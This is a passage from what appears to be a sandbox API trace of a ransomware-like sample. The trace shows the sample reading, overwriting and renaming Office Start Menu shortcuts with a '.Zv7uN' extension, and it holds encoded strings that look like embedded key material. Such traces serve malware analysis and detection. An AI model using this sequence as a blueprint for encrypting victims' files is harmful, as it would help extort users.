(normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk.zv7un")) returned 1 [0133.809] GetCurrentThreadId () returned 0xa30 [0133.809] GetCurrentThreadId () returned 0xa30 [0133.810] GetCurrentThreadId () returned 0xa30 [0133.810] GetCurrentThreadId () returned 0xa30 [0133.810] GetCurrentThreadId () returned 0xa30 [0133.810] GetCurrentThreadId () returned 0xa30 [0133.810] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="MI4465~1.LNK")) returned 1 [0133.810] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.810] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.810] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5)) returned 1 [0133.811] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk")) returned 0x20 [0133.811] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.814] GetCurrentThreadId () returned 0xa30 [0133.814] GetCurrentThreadId () returned 0xa30 [0133.814] GetCurrentThreadId () returned 0xa30 [0133.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.815] GetCurrentThreadId () returned 0xa30 [0133.815] GetCurrentThreadId () returned 0xa30 [0133.815] GetCurrentThreadId () returned 0xa30 [0133.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.815] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.815] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.815] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbd5 [0133.815] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.816] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xbd5, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xbd5, lpOverlapped=0x0) returned 1 [0133.819] CloseHandle (hObject=0x1e8) returned 1 [0133.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.821] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xbd5, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xbd5, lpOverlapped=0x0) returned 1 [0133.823] CloseHandle (hObject=0x1e8) returned 1 [0133.823] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk.zv7un")) returned 1 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] GetCurrentThreadId () returned 0xa30 [0133.825] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="MIAF79~1.LNK")) returned 1 [0133.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.825] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.825] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79)) returned 1 [0133.826] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk")) returned 0x20 [0133.826] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcO